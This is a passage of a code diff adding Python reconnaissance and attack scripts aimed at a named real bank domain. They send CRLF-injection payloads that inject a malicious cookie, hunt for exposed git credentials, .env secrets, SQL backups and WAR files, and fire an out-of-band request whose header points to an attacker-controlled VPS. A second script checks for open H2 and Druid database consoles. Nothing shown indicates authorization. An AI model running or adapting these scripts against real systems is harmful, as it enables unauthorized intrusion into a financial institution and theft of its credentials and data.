+            print(f"  [!] Heap dump: {path} ({len(r.content)} bytes)")
+    except:
+        pass
+
+# 5. Try CRLF injection for response splitting
+print("\n[5] CRLF INJECTION")
+print("-"*50)
+
+crlf_payloads = [
+    "test%0d%0aSet-Cookie:%20malicious=true",
+    "test%0aSet-Cookie:%20malicious=true",
+    "test\r\nSet-Cookie: malicious=true",
+]
+
+for payload in crlf_payloads:
+    try:
+        r = requests.get(BASE + "/",
+                        params={"redirect": payload},
+                        headers=H, verify=False, timeout=5, allow_redirects=False)
+        
+        if "malicious=true" in str(r.headers):
+            print("  [!] CRLF injection works!")
+    except:
+        pass
+
+# 6. Check for exposed git credentials
+print("\n[6] GIT CREDENTIALS")
+print("-"*50)
+
+git_paths = [
+    "/.git/config",
+    "/.git/credentials",
+    "/.gitconfig",
+]
+
+for path in git_paths:
+    try:
+        r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
+        if r.status_code == 200 and ("[remote" in r.text or "credential" in r.text):
+            print(f"  [!] Git file exposed: {path}")
+    except:
+        pass
+
+# 7. Check for environment file exposure
+print("\n[7] ENV FILE CHECK")
+print("-"*50)
+
+env_paths = [
+    "/.env",
+    "/.env.local",
+    "/.env.production",
+    "/env",
+    "/config/env",
+    "/application.properties",
+    "/application.yml",
+]
+
+for path in env_paths:
+    try:
+        r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
+        if r.status_code == 200:
+            # Check for sensitive content
+            if any(x in r.text.lower() for x in ['password', 'secret', 'key', 'token', 'aws']):
+                print(f"  [!] Sensitive env file: {path}")
+    except:
+        pass
+
+# 8. Check for backup SQL files
+print("\n[8] BACKUP FILES")
+print("-"*50)
+
+backup_paths = [
+    "/backup.sql",
+    "/dump.sql",
+    "/database.sql",
+    "/db.sql",
+    "/autbank.sql",
+    "/backup.tar.gz",
+    "/backup.zip",
+]
+
+for path in backup_paths:
+    try:
+        r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
+        if r.status_code == 200 and len(r.content) > 1000:
+            print(f"  [!] Backup file: {path} ({len(r.content)} bytes)")
+    except:
+        pass
+
+# 9. Check for WAR/JAR file exposure
+print("\n[9] WAR/JAR FILES")
+print("-"*50)
+
+war_paths = [
+    "/app.war",
+    "/ROOT.war",
+    "/autbank.war",
+    "/regatendimentoext.war",
+]
+
+for path in war_paths:
+    try:
+        r = requests.get(BASE + path, headers=H, verify=False, timeout=5, stream=True)
+        if r.status_code == 200:
+            content = r.raw.read(100)
+            if content[:2] == b'PK':  # ZIP/WAR magic bytes
+                print(f"  [!] WAR file exposed: {path}")
+    except:
+        pass
+
+# 10. OOB
+print("\n[10] OOB")
+print("-"*50)
+
+ts = str(int(time.time()))
+
+try:
+    requests.get(BASE + "/",
+                headers={**H, "X-Original-URL": f"http://{VPS}:8888/r58_{ts}"},
+                verify=False, timeout=3)
+except:
+    pass
+
+print("  OOB sent")
+
+print("\n" + "="*70)

package/verify_findings.py

@@ -0,0 +1,47 @@
+import requests
+import urllib3
+urllib3.disable_warnings()
+
+H = {"User-Agent": "Mozilla/5.0"}
+BASE = "https://central.autbank.com.br"
+
+print("="*70)
+print("  VERIFYING H2 AND DRUID FINDINGS")
+print("="*70)
+
+# 1. Verify H2 Console
+print("\n[1] H2 CONSOLE VERIFICATION")
+print("-"*50)
+
+h2_paths = ["/h2-console/", "/h2/", "/console/", "/h2-console/login.jsp"]
+
+for path in h2_paths:
+    try:
+        r = requests.get(BASE + path, headers=H, verify=False, timeout=10)
+        print(f"\n  {path}:")
+        print(f"    Status: {r.status_code}")
+        print(f"    Size: {len(r.text)} bytes")
+        print(f"    Contains 'h2': {'h2' in r.text.lower()}")
+        print(f"    Contains 'database': {'database' in r.text.lower()}")
+        print(f"    First 200 chars: {r.text[:200]}")
+    except Exception as e:
+        print(f"  {path}: Error - {e}")
+
+# 2. Verify Druid
+print("\n[2] DRUID VERIFICATION")
+print("-"*50)
+
+druid_paths = ["/druid/", "/druid/index.html", "/druid/sql.html"]
+
+for path in druid_paths:
+    try:
+        r = requests.get(BASE + path, headers=H, verify=False, timeout=10)
+        print(f"\n  {path}:")
+        print(f"    Status: {r.status_code}")
+        print(f"    Size: {len(r.text)} bytes")
+        print(f"    Contains 'druid': {'druid' in r.text.lower()}")
+        print(f"    First 200 chars: {r.text[:200]}")
+    except Exception as e:
+        print(f"  {path}: Error - {e}")
+
+print("\n" + "="*70)